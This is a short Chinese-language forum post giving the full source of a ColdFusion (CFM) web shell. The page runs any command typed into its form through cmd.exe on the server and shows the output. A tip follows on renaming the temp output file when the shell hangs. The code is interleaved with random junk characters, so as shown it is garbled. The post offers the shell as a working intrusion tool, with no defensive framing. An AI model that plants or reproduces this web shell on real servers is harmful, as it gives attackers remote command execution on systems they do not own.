cfm的cmdshell使用注意

admin

cfm-cmdshell
<html>   
* e6 o9 X6 G3 i. ]! H<head>   
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
' L' K, U1 r- R6 R1 f3 G: ?4 J<title>CFM shell</title>   
</head>   
<body>   
<!--- os.run --->   
5 a( W6 Q) u/ ^" `% q<cfif IsDefined("FORM.cmd")>   
    <cfoutput>#cmd#</cfoutput>   
    <cfexecute name="C:\Winnt\System32\cmd.exe"   
7 ?+ t1 H7 W. Y7 b           arguments="/c #cmd#"   
           outputfile="#GetTempDirectory()#foobar.txt"   
           timeout="1">   
0 M5 M- T4 e8 H$ w# t. M! x    </cfexecute>   
$ g' E$ q9 }, H6 Q4 k  I' n</cfif>   
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
. ]! u6 R. P5 y8 t0 Q<input type=text size=45 name="cmd" >   
<input type=Submit value="run">   
</form>   
2 c2 r: y. K, X. ~$ |& L<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
& N4 g1 A) N# m! t0 }- Y  <cffile action="Read"   
8 X9 W: \" \/ H' d- Q) N            file="#GetTempDirectory()#foobar.txt"   
            variable="readText">   
" I4 ^# ?$ O: `) e( N; I<textarea readonly cols=80 rows=20>   
* T  N3 F+ {3 c, k; c<CFOUTPUT>#readText#</CFOUTPUT>            
</textarea>   
" j; `- Z7 N: G/ Z7 }; ?    <cffile action="Delete"   
! v4 U) M; m+ z            file="#GetTempDirectory()#foobar.txt">   
8 ^! Q+ j0 c+ A6 L/ ?- }- M</cfif>   
- @( X' `3 \3 H1 k, a1 W, S</body>   
</html>   

( C) U/ z7 n  ^8 d5 s5 ]1 M有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。